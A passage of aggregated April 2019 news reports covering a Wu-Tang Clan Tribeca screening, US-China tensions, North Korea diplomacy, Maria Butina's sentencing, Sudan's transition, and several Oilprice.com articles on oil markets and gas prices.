48-year-old performer says as he marvels at the monument. "I guess we got lucky," he says later on in the show, his quivering voice betraying emotion. "I guess we all did." Speaking to AFP on the red carpet before the screening, member U-God noted the significance of the docu-series' prominent spot at Tribeca, a quintessentially New York festival that has long aimed to promote diversity. "I've spilled my blood in New York City," the 48-year-old rapper known for his brusque yet smooth flow said. "I am New York City. We were all born in New York City, we all raised in New York City, most of us will probably die in New York City." "But when we go we gonna take New York with us." Thursday night saw a rare gathering of the complete Clan, with all living members along with the rapper son of the Ol' Dirty Bastard -- who died of a drug overdose in 2004 -- following the screening with a raucous performance including hits from their iconic breakthrough album "Enter the Wu-Tang (36 Chambers)." "They're everything, Wu-Tang is the world," another venerable New York rapper, Nas, told AFP on the red carpet. "I've always been a fan, so I'm just blessed to be here and to see this happen." The crowd roared as the group performed its hit "C.R.E.A.M" -- short for "cash rules everything around me" -- in which members narrate their journeys from delinquency-by-necessity to fame. Asked by AFP if cash still rules everything around him, RZA didn't miss a beat. "It rules everything around me," the rapper laughed. "But it don't rule me." China's President Xi Jinping on Friday called for a "fair and friendly" environment for Chinese companies and citizens overseas, as pushback against its tech giants rises and academics find their visas cancelled. Beijing and Washington have been locked in a bruising trade war -- which negotiators have been working to resolve -- but there has also been a growing strategic rivalry between the world's two largest economies. "China's measures to expand opening up are independent choices," Xi told a gathering of 37 world leaders at a summit for his signature Belt and Road Initiative. "We also hope that all countries in the world will create a good investment environment, treat Chinese enterprises, international students and scholars equally, and provide a fair and friendly environment," he said. An increasing number of Western countries have moved to block Huawei and its state-backed competitor ZTE from building next-generation 5G networks over fears Beijing could spy on communications and gain access to critical infrastructure. The United States has also started to bar some Chinese academics from the country if they are suspected of having links to Chinese intelligence agencies, the New York Times reported. It added that thirty Chinese scholars have had their visas cancelled or put under review in the past year. In accounts published in the state-run Global Times, several Chinese academics said their 10-year visas to the US were cancelled, with officials citing concerns over their links to Chinese intelligence. "Some Chinese were deliberately targeted when visiting the US and had their baggage searched, but cases of cancelling visas are not common," wrote Jin Canrong, dean of international studies at the elite Renmin University. Such instances were rare even during the Cold War, he added. Beijing has apparently hit back in retaliation: China expert Michael Pillsbury, who advises US President Donald Trump on China, said his visa to enter the country for a forum earlier this year was blocked. Tensions flared between Washington and Beijing last December over the arrest of Huawei executive Meng Wanzhou, who is wanted in the US for violating Iranian sanctions. She was arrested in Canada on request of the US and is now fighting extradition. Magna, one of Canadas largest automobile parts manufacturers, has launched construction works for the building of a new facility in Kenitra, Morocco, to supply global automakers with exterior and interior mirror systems. The 61,400-square-foot facility represents an investment of $11.3 million by Magna and is expected to create up to 275 jobs. Production at the new plant is projected to begin in spring 2020. Expanding into Morocco is a strategic move for Magna, as our customers continue to grow in the region, said John OHara, president Magna Mechatronics, Mirrors and Lighting. We also value the high level of skilled employees and engineering talent in the region, he added. Morocco offers a competitive export-focused production base for global automakers. The government of theNorth African country seeks to build one million vehicles per year by 2025. Morocco has been successful in attracting automakers and investment in new production plants to achieve that goal. Magna leads the market for advanced mirror technology and innovation. With this new facility, the company expands its reach in enhancing driver experiences through intelligent vision systems. The facility marks the companys second location in Morocco, following the formation of a Casablanca-based engineering joint venture with Altran Technologies SA in 2018. Moroccos automotive industry is growing at a rapid pace due to incentives and competitive factors attracting more and more investors and car parts makers. These factors include Moroccos proximity to the European market, modern infrastructures, free trade zones, qualified manpower, open economy and stability. The government also aspires to increase the proportion of locally produced components in exported cars from 40% to 65% by the end of the decade. By Brendan O'Brien (Reuters) - The New York Archdiocese, one of the largest in the United States, on Friday identified 120 former Roman Catholic bishops, priests and deacons who were accused of sexually abusing children. The archdiocese was the latest in the United States to publicly list the names of former clergy members accused of abuse as the church faces state and federal investigations into its handling of decades of allegations of sexual misconduct by priests. "I write to ask forgiveness again for the failings of those clergy and bishops who should have provided for the safety of our young people but instead betrayed the trust placed in them by God and by the faithful," Timothy Cardinal Dolan, archbishop of New York, said in a statement. The archdiocese released the name of each accused clergy member, the year he was ordained and whether he had been removed from the ministry. It also consisted of the year that he died if he was deceased. The list did not contain information about the accusations that the clergy member faced. A review board has been created to help determine whether allegations of sexual abuse are credible and substantiated and whether accused clergy should be removed from ministry as a result, the archdiocese said. In January, Roman Catholic leaders in Texas made a similar disclosure as they identified around 300 priests and others. A month later, five Roman Catholic dioceses in New Jersey released the names of 188 clergy members who have been accused of sexually abusing children dating back decades. (Reporting by Brendan O'Brien in Milwaukee; Editing by Alistair Bell) Kuwait Thursday denied Mauritanias state news agency report that it has wiped out the interests on loans it had granted to the North African country, explaining that the interests are replaced with investment opportunities. The denial came in the wake of a Tuesday report by the Mauritanian state-run news agency that the Gulf country and Mauritania signed a MoU to settle Nouakchotts debt to Kuwait, during the state visit to Kuwait by President Mohamed Ould Abdelaziz. The Kuwaiti Finance Ministry Thursday branded incorrect the report, stressing that the MoU signed on Tuesday aimed at settling Nouakchotts indebtedness to Kuwait with the possibility of replacing the debts interest with exclusive Kuwaiti investment opportunities in Mauritania, The Turkish news agency Anadolu reports. Mauritanias debt to Kuwait dates back to the 70s and is estimated at two billion dollars, according to Mauritanian media, while Kuwaiti media value the size of the debt at more than $4 billion. The loans took forms of investments in several development areas of the North African country. President Donald Trump on Friday welcomed Russian and Chinese help with North Korean nuclear negotiations, despite Kim Jong Un accusing the US of "bad faith" at a first summit with Vladimir Putin. "I appreciate that Russia and China are helping us," he told reporters at the White House. Putin's first summit with Kim on Thursday was seen as a response to the failure of a Kim-Trump meeting in Hanoi in February, where talks broke down without agreement. But Trump indicated that he does not see China and Russia as rivals in the struggle to get North Korea to give up its nuclear arsenal. "China is helping us because I think they want to. They don't need nuclear weapons right next to their country," Trump said. "I think we're doing very well with North Korea. A lot of progress is being made," he added. "I appreciated President Putin's statement yesterday. He wants to see it done also. I think there is a lot of excitement for getting a deal done with North Korea." Kim left his summit with Putin indicating that he has cooled on the much-touted bid by Trump to woo his country into a non-nuclear future. The official Korean Central News Agency reported that Kim told Putin the US had adopted a "unilateral attitude in bad faith" at the Hanoi summit. "Peace and security on the Korean peninsula will entirely depend on the US future attitude, and the DPRK will gird itself for every possible situation," Kim was quoted as saying. Putin backed the North's demand for "security guarantees" in its standoff with the United States over the nuclear capability, which Washington wants to see scrapped entirely, but Pyongyang fears would leave the country vulnerable. - Hitch in Trump-Kim 'love' - Trump has claimed that he and Kim have a special friendship and even "love." But their second summit, held in Hanoi, broke down in late February without a deal, after cash-strapped Pyongyang demanded immediate relief from sanctions. Russia has also called for the sanctions to be eased, while the US has accused Moscow of trying to help Pyongyang evade some of the measures. In another setback just a week ago, Pyongyang demanded the removal of US Secretary of State Mike Pompeo from the stalled nuclear talks. On Thursday, Putin emerged from the meeting saying that like Washington, Moscow supported efforts to reduce tensions and prevent nuclear conflicts. But he also insisted that the North needed "guarantees of its security, the preservation of its sovereignty". It was "what the North has been saying all along" said Kim Keun-sik, professor of North Korean Studies at Kyungnam University, adding that Putin's support for Pyongyang's stance was the "biggest prize" Kim won in Vladivostok. - Visit cut short? - Putin flew on to another summit in Beijing the same day, while Kim stayed in Vladivostok and had been due to take part in a series of cultural events. The mercurial North Korean kept officials in suspense about his post-summit plans. A wreath-laying ceremony was delayed by two hours on Friday morning, with an honour guard kept waiting and the red carpet rolled up. Kim eventually showed up and the wreath was laid. Solemn music played as he stood, hat in hand wearing a black double-breasted waistcoat. Russian media had reported that Kim would be visiting the city's aquarium and seeing a ballet, but the visit was apparently cut short. Kim instead turned up at the train station in the afternoon and, after a final departure ceremony with a military band, boarded his train and left around 3:30 pm (0530 GMT). - 'New heyday' in relations - Putin and Kim said they were looking to strengthen ties that date back to the Soviet Union's support for the founder of North Korea, Kim's grandfather Kim Il Sung. Kim said he hoped to usher in a "new heyday" in ties. The North Korean strongman invited Putin to visit "at a convenient time" and the invitation was "readily accepted", KCNA said. "Kim met Putin because he wanted to show he had someone on his side," said Lee Woo-young, a professor at the University of North Korean Studies in Seoul. "Kim is seeking the upper hand for future talks with the US and meeting foreign leaders like Putin can help him do that." But Washington was unlikely to be swayed, he added, with analyst Kim also doubting the US would be "surprised or alarmed". burs-sms/har North Korean leader Kim Jong Un told President Vladimir Putin the US had acted in 'bad faith' at his summit with Donald Trump, KCNA said North Korean leader Kim Jong Un and Russian President Vladimir Putin vowed to seek closer ties at their summit in Vladivostok Graphic on talks between North Korean leader Kim Jong Un and Russia's President Vladimir Putin, to take place in Vladivostok on April 25. The Vladivostok summit was Kim's first with another head of state since returning from Hanoi Russia has called for sanctions to be eased against North Korea Alleged Russian agent Maria Butina faces sentencing in Washington Friday over her open effort to build a network of high-level Republican contacts via ties to the NRA gun lobby. While prosecutors have asked for 18 months in prison for the 30-year-old Siberian redhead, she could be deported immediately, after already spending nine months in a US jail. A key variable, analysts say, could be how her case is linked to Russia's recent arrest of American former Marine Paul Whelan on spying charges. The Justice Department alleged that although she lacks ties to Moscow's espionage agencies, Butina was part of a broad Russian plot to infiltrate and disrupt US politics -- which included meddling in the 2016 election. But Butina argued that her five-year effort building a network with Republicans -- bringing her into contact with President Donald Trump in 2015 -- was no more than a private endeavor to build US-Russian friendship. Moscow says she is the victim of a witch hunt and for months the Foreign Ministry has placed her picture at the top of its social media accounts, saying "Free Maria Butina." - 'Espionage-lite' charge - Butina is the only Russian to have been arrested during the sprawling, nearly three-year investigation into meddling in the 2016 election. She pleaded guilty last year to one count of conspiracy to act as an agent of a foreign government without notifying the US government -- a charge US prosecutors call "espionage-lite." Her case appears completely unrelated to the Russian election interference that Special Counsel Robert Mueller documented in his report last week on the investigation, and none of her American contacts have been accused of anything. The leader of a small Russian gun rights group supported by Kremlin politician Alexander Torshin, she began in 2013 to establish contacts with the National Rifle Association, one of the most powerful US political lobbies and strongly tied to the Republican Party. Between 2014 and 2016 she and Torshin attended annual NRA conventions, where they were personally welcomed by NRA leaders. She also attended Republican political rallies, including one for Trump, where she was chosen to ask a question about US-Russian relations. She began a personal relationship with a Republican and NRA operative, Paul Erickson, living with him, and became a graduate student at American University in Washington. All the while she continued efforts to get close to Republican figures. "I've been involved in securing a VERY private line of communication between the Kremlin and key (Republican) leaders through, of all conduits, the (NRA)," she emailed a friend in October 2016, weeks before the presidential election. - 'Spot-and-assess operations' - Butina's lawyer said the government had trumped up charges against her, and that she had fully cooperated with investigators. "Maria is accused of unofficial diplomacy and lobbying at conferences," he said. "For all the media coverage of Hollywood style, spy-novel allegations, in reality... there are no dead drops, brush passes, secret communications devices, hidden transmitters." In a court filing, a former senior US counterintelligence official said Butina's activities were part of a deliberate "spot-and-assess" intelligence operation to identifying possible recruitment targets. Steven Hall, the CIA's former chief of Russian operations, said her operating out in the open was simply an innovative tactic in Russian President Vladimir Putin's "broader hybrid-warfare influence operation." "She's part of the Kremlin's plan to try to weaken the United States and the West," he said. - Whelan case - It is unclear whether the resolution of Butina's case will impact Whelan's. The corporate security official was arrested by Russia's FSB security service in Moscow in late December, where he had traveled for a wedding. He was accused of espionage after he accepted a USB drive allegedly containing state secrets from a Russian friend. Like Butina, his behavior did not suggest a trained intelligence operative, experts say. Whelan's brother David doesn't believe the two cases are related, but Hall said Washington "has to take into account that they do have an American over there, and we have a Russian here." "So is there not a deal to be had?" he said. Maria Butina, leader of a Russian pro-gun organization who built a network in US Republican circles, is to be sentenced in Washington for acting illegally as an agent of a foreign government Maria Butina was arrested last year and accused of being a Russian intelligence operative, despite lacking ties to any of Moscow's spy agencies The Sudanese Transitional Military Council (TMC) Thursday said it will retain sovereign authority only, while civilians will hold the post of Prime Minister and all other ministerial portfolios. The announcement was made by TMCs spokesman Shams El Din Kabbashi as the military council, the uprising leading group, Sudan Professional Association (SPA) and the opposition are in talks to form a transition government in wake of the removal of the former autocratic leader Omar Beshir ousted early this month by the army. With this decision, the TMC has managed to retain power despite calls by the SPA and the international community to hand over the countrys management to civilians. Sudans TMC and the opposition have been at loggerheads over how long it will take to move to civilian rule. The opposition and other protesters view the TMC as part of the same machine that kept Al Bashir in power for 30 years. Former Prime Minister Sadiq al-Mahdi warned on Thursday that Sudan could face a counter coup if military rulers and the opposition do not reach an agreement. He said hardliners in ousted President Omar Hassan al-Bashirs National Congress Party (NCP) and its allies in the army would try to exploit the uncertainty to seize power. Since the ousting of Al Bachir, the military council has tried to appease demonstrators. A curfew initially imposed has been scrapped, the councils leader, Defense Minister Awad Ibn Auf, stepped down after less than two days in power, the widely feared intelligence chief Salah Gosh resigned and a number of former regime officials are set to be prosecuted. The generals have also offered some concessions, sacking some officials, announcing the arrest of others, including two of Bashirs brothers, and ordering steps to curb fraud. Yet, despite these gestures, thousands of Sudanese rallied Thursday outside the army headquarters in Khartoum calling for an end to the countrys military council. The enormous rallies were organized by an umbrella group of protesters called the Alliance for Freedom and Change. U.S. President Donald Trump said on Friday that he called up OPEC and told the cartel that they have to bring gasoline prices down. The gasoline prices are coming down. I called up OPEC. I said, Youve got to bring them down. Youve got to bring them down, and gasolines coming down, CNBC quoted President Trump as telling reporters en route to an event in Indiana. I wasnt immediately clear what President Trump was referring to when he said that he had called up OPEC. The U.S. president has often targeted OPEC on Twitter with direct calls on the producer group to increase the flow of Oil or to take it easy with the production cuts, because, President Trump says, oil prices are too high. Earlier this week, when the U.S. announced that it was ending sanction waivers for all Iranian oil buyers when they expire early next month, President Trump tweeted, Saudi Arabia and others in OPEC will more than make up the Oil Flow difference in our now Full Sanctions on Iranian Oil. We have had extensive and productive discussions with Saudi Arabia, the United Arab Emirates, and other major producers to ease this transition and ensure sufficient supply, U.S. Secretary of State Mike Pompeo said, announcing the end of the waivers. Related: Why This Rally In Oil Wont Last Meanwhile, gasoline prices in the U.S. are on the rise. The national average as of April 26 is $2.883 per gallon of regular gasoline, up from yesterdays average of $2.877, and $2.839 from a week earlier, according to AAA. A month ago, the national average was $2.648, and the year-ago average stood at $2.798. Robust gas demand this spring and shrinking gasoline stocks are driving pump prices up, AAA said on Thursday. As a result, American motorists should expect increased pump prices as demand remains robust and stocks dwindle. Moreover, higher crude prices due to OPEC and its partners 1.2 million b/d production reduction agreement and tighter U.S enforcement of its crude export sanctions on Iran will likely drive pump prices higher this summer, according to AAA. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: - Natural gas at the Waha Hub in the Permian basin plunged deep into negative territory earlier this year and will remain depressed until new pipelines come online. - But prices could rise later this year if Mexico begins to import more gas. Although with significant unutilized export capacity to Mexico, the risk of increased Mexico demand growth providing an outlet for constrained Permian natural gas keeps 3Q19 Waha basis relatively supported, Bank of America Merrill Lynch wrote in a report. - A brewing problem for Permian drillers comes in the form of rising gas-to-oil ratios, a sign that the frenzied drilling is showing signs of wear and tear on the basin. That could lead to higher rates of well shut-ins, which would ultimately provide a boost to Permian natural gas prices. - [T]he potential for high gas to oil ratio (GOR) wells to shut-in limits Waha weakness, and could provide a brief price spike if too many wells shut in production, Bank of America said. However, [a]ny price spike would likely be brief as we expect shut-ins would quickly return to service. Friday April 26, 2019 1. Permian gas prices depressed (Click to enlarge) - Natural gas at the Waha Hub in the Permian basin plunged deep into negative territory earlier this year and will remain depressed until new pipelines come online. - But prices could rise later this year if Mexico begins to import more gas. Although with significant unutilized export capacity to Mexico, the risk of increased Mexico demand growth providing an outlet for constrained Permian natural gas keeps 3Q19 Waha basis relatively supported, Bank of America Merrill Lynch wrote in a report. - A brewing problem for Permian drillers comes in the form of rising gas-to-oil ratios, a sign that the frenzied drilling is showing signs of wear and tear on the basin. That could lead to higher rates of well shut-ins, which would ultimately provide a boost to Permian natural gas prices. - [T]he potential for high gas to oil ratio (GOR) wells to shut-in limits Waha weakness, and could provide a brief price spike if too many wells shut in production, Bank of America said. However, [a]ny price spike would likely be brief as we expect shut-ins would quickly return to service. 2. LNG prices crashed as supplies continue to rise (Click to enlarge) - The wave of new LNG export terminals coming online this year have led to a plunge in prices. - Asian LNG demand digested nearly all of the LNG supply growth over the past couple of years, but in recent months has struggled to keep up with the latest wave of supply growth, Bank of America Merrill Lynch wrote in a report. - Prices have dropped so low that after factoring in liquefaction and transportation costs, the margin for shipping U.S. LNG to Asia has fallen close to zero. - We are concerned that global LNG demand will be unable to keep pace with continued LNG supply growth over the next two years, Bank of America wrote. The US is expected to grow LNG export capacity by nearly 6 bcf/d in 2019-20 and will represent 17% global LNG supply by the end of 2020. - Meanwhile, some LNG cargoes under longer-term deals linked to Brent are now trading above $10/MMBtu while spot cargoes are around $5/MMBtu, the widest gap in 8 years. That is leading to some buyers trying to delay immediate deliveries, according to Reuters. 3. Texas oil lightening up the oil mix (Click to enlarge) - The surge of light oil coming out of the Permian is a challenge for the oil market as the supply of medium and heavy blends become increasingly tight due to sanctions on Venezuela and Iran, as well as declines in Mexico and pipeline bottlenecks in Canada. - At the same time, the U.S. shale industry is beginning to focus more on the Delaware basin as opposed to the Midland basin in the Permian. The Delaware tends to produce an ultralight form of oil with an API gravity averaging 45 degrees in 2018. Midland crude averages closer to 40 degrees (a bit heavier). - The surge in light and ultralight oil has led to the introduction of a new benchmark, the West Texas Light (WTL) benchmark. WTL is intended to differentiate the light oils from West Texas Intermediate (WTI). - The WTL has an API gravity of between 44 and 50 degrees. - Pipeline segregation is also required for lighter WTL type crudes, resulting in batched shipments, which are likely to increase in frequency as superlight Permian production continues to rise, Bank of America wrote in a report. WTL is trading at a discount of a few dollars per barrel below Midland WTI. 4. Has the stock market climbed too high? (Click to enlarge) - The S&P 500 broke new records this week, but there are some signs that the market could be near a major shift. - The value of growth stocks are at their highest premium to value stocks since the dot-com bubble in the late 1990s and early 2000s. - It is pretty clear that the market is fairly bifurcated at this point with growth and defensive companies designated as winners and everything else a loser, Morgan Stanley strategists wrote in a Monday note. Thats a classic late-cycle playbook but it does appear to have gotten a bit extreme at this point. - Analysts see traders shifting into safer companies, but in so doing, have driven up share prices to potentially unsustainable levels, Bloomberg reports. - With a U.S. recession widely expected at some point over the next 12-18 months and very little earnings growth forecast in Europe, many wish to be positioned in Quality, Bernstein strategists wrote in a note last week. However the valuations seem prohibitive. 5. More signs of Bitcoin rebound (Click to enlarge) - Bitcoin has staged a small rally in the last few weeks. One technical piece of evidence working in Bitcoins favor is the re-emergence of a so-called golden cross for the first time since late 2015. - The technical picture for [bitcoin] is looking increasingly bullish on the daily charts with the fabled bullish golden cross slowly coming into play, said Lukman Otunuga, research analyst in a Tuesday note. - The golden cross occurs when the 50-day moving average crosses over the longer-term 200-day moving average. In other words, short-term surpasses the longer-term trend line. - Earlier this week, Bitcoin rose above $5,500, a five-month high. - According to MarketWatch and DailyFX, roughly 80 percent of retail traders have staked out net-long positions on Bitcoin. 6. Energy storage set to surge (Click to enlarge) - Energy storage costs are falling and more markets are opening up. The first markets to foster investment in a big way share similar characteristics: an overarching decarbonisation policy, liberalised, unbundled markets and an independent regulator, Wood Mackenzie said in a note, including the U.S., Germany and the UK. - New markets are now proliferating, including Australia where Tesla has installed the biggest lithium-ion battery in the world, at 129 MWh. In the last two years, South Korea home to the big battery manufacturers Samsung, LG Chem and SK Innovation has emerged as a boom market, WoodMac said. - Last year, energy storage investment reached a record 7 GW, double from a year earlier, although a tiny fraction of the 6,776 GW of global power generation capacity. - While growing from a small base, energy storage is expected to expand quickly, growing by 29 percent per year through 2024, WoodMac estimates. 7. Gold holding despite dollar surge (Click to enlarge) - Gold held at $1,275 per troy ounce this week, despite the rise in the U.S. dollar. - The trade-weighted dollar index climbed yesterday to its highest level in almost two years, which our FX colleagues attribute primarily to a weak euro, Commerzbank said in a note. - Nevertheless, gold is hovering near four-month lows due to the greenbacks renewed strength, which has come even as the U.S. Fed has taken a more dovish stance on interest rates. - A good portion of golds weakness has come from recent highs in the dollar against major currencies, and lack of safe-heaven buying amidst equity markets continuing higher and slightly better global economic outlook, David Meger, director of metals trading at High Ridge Futures, told Reuters. The the number of active oil and gas rigs fell sharply in the United States this week according to Baker Hughes, the second large drop in as many weeks, keeping the overall rig count below year-ago for the second week in a row. The total number of active oil and gas drilling rigs in the United States fell by 21 according to the report, with the number of active oil rigs falling by 20 to reach 805 and the number of gas rigs falling by 1 to reach 186. The combined oil and gas rig count is now down year on year for the first time since the end of 2016, with oil seeing just a 20-rig decrease year on year and gas rigs down 9 since this time last year. At 10:41am EST, WTI was trading down $2.07 (-3.17%) at $63.17down on the week despite the announcement earlier in the week that the United States would not be extending waivers for the sanctions it levied on Iranian oil. The price cratering came after President Donald Trump announced he had called up OPEC to bring the price of gasoline down. The Brent benchmark was trading down $2.23 (+3.03%) at $71.40, also down week on week. Despite the sharp drop in the number of active oil rigs in the United States, US crude oil production is still at near all-time highs, and for week ending April 19, US oil production stood at 12.2 million barrels, resuming its previous all-time high first reached for week ending March 29. Canada held fast with the number of active oil rigs, with the number of gas rigs falling by 3. Canadas oil rigs are now down 14 year on year, with gas rigs down 8 year on year. WTI was trading down 3.97% on the day at 1:09pm EST, with Brent down 3.79%, unmoved by the loss of rigs. By Julianne Geiger for Oilprice.com More Top Reads From Oilprice.com: WTI has been retreating since Wednesdays U.S. Energy Information Administrations weekly inventories report showed a bigger-than-expected build. Brent, on the other hand, had been rallying until Thursday. The move was fueled by the news that Germany, Poland and Slovakia had suspended imports of Russian oil via a major pipeline, citing poor quality. According to reports, the move cut parts of Europe off from a major supply route. Since that initial spike to the upside, traders have had to deal with heightened volatility. However, the news has affected WTI and Brent differently. Earlier this week, the U.S. ended the waivers on exporting Iranian oil it had granted to eight major buyers. This spiked prices sharply higher to levels not seen in six months. At the time, analysts were saying that this would remove about 1 million barrels per day from crude oil from the market. OPEC and its allies including Russia have been tightening supply since January 1. This has been the primary driver of the more than four month rally. Supply tightened further when the U.S. imposed sanctions against Venezuela. U.S. West Texas Intermediate and international-benchmark Brent crude oil futures are trading lower on Friday amid speculation that OPEC and its allies will soon raise production to offset a decline in exports from Iran following a move by the United States earlier in the week to halt all exports from the rogue nation. U.S. West Texas Intermediate and international-benchmark Brent crude oil futures are trading lower on Friday amid speculation that OPEC and its allies will soon raise production to offset a decline in exports from Iran following a move by the United States earlier in the week to halt all exports from the rogue nation. OPEC and its allies including Russia have been tightening supply since January 1. This has been the primary driver of the more than four month rally. Supply tightened further when the U.S. imposed sanctions against Venezuela. Earlier this week, the U.S. ended the waivers on exporting Iranian oil it had granted to eight major buyers. This spiked prices sharply higher to levels not seen in six months. At the time, analysts were saying that this would remove about 1 million barrels per day from crude oil from the market. Since that initial spike to the upside, traders have had to deal with heightened volatility. However, the news has affected WTI and Brent differently. WTI has been retreating since Wednesdays U.S. Energy Information Administrations weekly inventories report showed a bigger-than-expected build. Brent, on the other hand, had been rallying until Thursday. The move was fueled by the news that Germany, Poland and Slovakia had suspended imports of Russian oil via a major pipeline, citing poor quality. According to reports, the move cut parts of Europe off from a major supply route. Since the initial thrust to the upside, prices have also been under pressure on speculation that OPEC make up the shortfall from the loss of the Iranian exports. Some analysts feel that the United States will pressure Saudi Arabia to end its voluntary supply restraint. Additionally, earlier in the week, traders were pricing in a loss of about 1 million bpd of crude. Now traders are estimating the loss will be about 500,000 to 600,000 bpd. This is because China and India are expected to ignore the U.S. threat of sanctions for importing Iranian crude oil. Weekly Fundamental Forecast The oil market remains tight, but not as bullish as it was earlier in the week when traders were pricing in the loss of a million barrels per day. The sell-off represents traders making adjustments to the possibility that OPEC and its allies will make up the short-fall. Because Saudi Arabia has been cutting production more than expected, it has room to make up the loss. Prices are likely to be under pressure until they reach a value zone or a level that represents the new expected shortfall of between 500,000 and 600,000 per day. Essentially, buyers overshot to the upside when they thought 1 million bpd of crude oil would be removed from the market, now it looks as if the actual figure will be about half of that. This news, combined with the surge in U.S. production is making WTI the weaker of the two futures contracts. Technical Analysis Weekly June West Texas Intermediate Crude Oil (Click to enlarge) The main trend is up according to the weekly swing chart, however, the market is in a position to post a potentially bearish closing price reversal top. If formed this week and confirmed next week, this could trigger the start of a 2 to 3 week correction. A trade through $66.60 will signal a resumption of the uptrend. A move through $55.31 will change the main trend to down. As you can see on the weekly chart, a change in trend to down is highly unlikely, but there is room for a short-term correction that should alleviate some of the excessive upside pressure. The major range is $75.65 to $43.80. Its retracement zone at $63.48 to $59.73 is the primary downside target. This zone is controlling the longer-term direction of the crude oil market. Weekly Technical Forecast Based on Fridays price action, the direction of the June WTI crude oil market next week is likely to be determined by trader reaction to the major Fibonacci level at $63.48. Bullish Scenario A sustained move over $63.48 will indicate the presence of buyers. If this move is able to generate enough upside momentum then we could see a re-test of this weeks high at $66.60, followed by a downtrending Gann angle at $68.15. We could see sellers on the first test of this angle, but it is also the trigger point for another acceleration to the upside. Bearish Scenario A sustained move under $63.48 will signal the presence of sellers. This could create a labored break with potential support angles coming in at $63.31 and $61.80. Since the main trend is up, buyers could come in on a test of these angles. If they fail then look for the selling to extend into the major 50% level at $59.73, followed by a short-term uptrending Gann angle at $59.31. Weekly Outlook It looks as if traders are pricing in additional supply to make up for the short-fall caused by the additional sanctions against Iran. Traders appear to be confused by the size of the expected production hikes by OPEC and its allies. Prices could retreat until they get a number in mind. In the meantime, concerns are also being raised about whether the plan to trim production can be sustained behind June with Russia already talking about raising production to help regain market share from the United States. Essentially, it comes down to trader reaction to the zone at $63.48 to $59.73. Holding inside this zone will suggest a balance market, or even trade indecision. Look for an upside bias to develop on a sustained move over $63.48, and a strong downside bias to develop on a sustained move under $59.73. President Donald Trump is considering a delay in the introduction of a plan for the expansion of oil and gas drilling in federal waters until after the 2020 elections, Bloomberg reports, citing unnamed sources familiar with the matter. A delay would make sense given the opposition that the offshore drilling plan has been attracting from governors and legislators from coastal states, including Republicans. If the five-year offshore lease sale plan is released now and features more acreage to be offered to drillers, the argument goes, Trump will lose votes in next years election. Opening up larger parts of the U.S. continental shelf to oil and gas drilling is a major part of Trumps energy dominance strategy. Yet it is a lot more controversial among legislators and state governments than Trumps pipeline plans. Tourism is a crucial industry in many coastal states, and local authorities are worried that drilling would affect their appeal as a tourist destination, not to mention fears of spills among the population; the Deepwater Horizon catastrophe is still a fresh memory. A recent case in point was reported by Politico. The report, published two weeks ago, said the Interior Department has been working on a draft plan for offshore oil and gas drilling in the eastern part of the Gulf of Mexico. Citing sources from the energy industry, the outlets reporters noted the area had been included in the acreage to be offered in lease sales under the new five-year lease sale plan by the Interior Departmentthe one Trump may delay for after the 2020 election. Related: A Wave Of Clean Energy Policies Are Killing Coal Right now, offshore drilling is against the law in Florida, after the state voted an amendment last year to ban offshore drilling for oil and natural gas on lands beneath all state waters. However, as Florida Politics reported earlier this month, a lobby group called Explore Offshore has been set up by the American Petroleum Institute to pursue the goal of changing attitudes about offshore drilling in the Sunshine State. Florida is certainly not alone in its negative attitude towards drilling off its coast, even if There is absolutely no possibility of visual access to any of this activity, as one executive from Explore Offshore told media. The fear of another environmental catastrophe is significant and it will not be quenched easily, even leaving tourism concerns aside. In fact, with environmental moods what they are, it is questionable if Trump will be able to push the five-year lease plan with more offshore acreage even after he wins a second term in office, if he does. By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: Australia has joined the growing list of U.S. crude oil importers with two tankers currently en route to Down Under with cargoes of light U.S. crude, Reuters reports, citing sources from the commodity trading industry and shipping data. Australias aging refineries were designed to run regional crude that is typically light and sweet. U.S. crude is a good substitute for typical Australian refinery feedstock, a Reuters Refinitiv analyst explained. The bulk of U.S. crude oil output is exactly this sort of crude. Lower freight rates have also helped more U.S. crude reach foreign markets, and as a result of this combination of favorable factors, total U.S. shipments of crude oil to Asia alone could reach 38.1 million barrels in May, according to Reuters calculations. This equals 1.2 million bpd. However, going forward, shipments could begin declining as the discount of West Texas Intermediate and grades based on this benchmark to Brent crude narrows. The spread between the two benchmarks used to be so wide it stimulated greater appetite for Gulf Coast grades of crude, Reuters reported yesterday. Yet now, the rally that followed Washingtons announcement that there would be no more Iran sanction waivers for oil importers beginning in May has changed the price dynamic, pushing Gulf Coast grades higher. The arb (arbitrage) is only barely open and has been closed to the East regularly over the past few weeks, one U.S. oil industry source told Reuters. At the same time, another source said that China is getting more interested in U.S. crude after the removal of the waivers, even though it has officially complained about the move to Washington. China stopped buying U.S. crude in September last year as the trade conflict between the two countries escalated, but earlier this month media reported that Sinopec was due to receive this week its first cargo of U.S. oil since September. By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: The value of exports of oil and gas from Texas jumped by 45 percent, CNBC reports, citing data from trade research firm WISERTrade. The value of Texas petroleum and coal product exports increased by 5 percent. The value of Texas exports in January and February this year exceeded US$50.9 billion, a rise of 9 percent on the yeartriple the U.S. national export growth of 2.6 percent in the first two months of the year, according to WISERTrade data. As per WISERTrade, Texas accounted for almost 20 percent of all U.S. exports in the first two months of 2019, compared to 11 percent share for California. Over the past few years, the share of California of national exports has declined, while the share of Texas has grown, thanks to the soaring production and the rise in exports from the U.S. Gulf Coast after the U.S. removed restrictions on crude oil exports in 2015. According to the U.S. Census Bureau, the value of the Texas crude oil exports stood at US$38.675 billion in 2018, a surge of 127 percent from 2017. Texas continues to see its exports climb, and the state exhibits a manufacturing edge in energy-related products and intermediate goods, Jesus Canas and Stephanie Gullo with the Federal Reserve Bank of Dallas wrote earlier this month. Texas annualized 6 percent export growth since 2002 is almost double the 3.6 percent rate for the rest of the United States, according to Dallas Fed. Last year, petroleum and coal products was the number-one manufacturing export sector for Texas, accounting for 17.7 percent of total state exports, the Dallas Fed said, but warned that its Texas business survey from February 2019 found that businesses described the tariffs as a looming threat affecting virtually all imported raw materials and making U.S. exports less competitive. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: Russia is holding talks with Ukraine, Poland, and Belarus over a contamination of its crude oil that had Poland, Slovakia, Ukraine, and Belarus shut down their sections of the Druzhba pipeline earlier this week, Reuters reports. The discussion will focus on the removal of tainted oil from the pipeline. The problem has strained relations between Moscow and Minsk as Belarus was the first to report the problematic oil last week, warning that it could damage refinery equipment. The oil was contaminated with organic chlorine, a substance 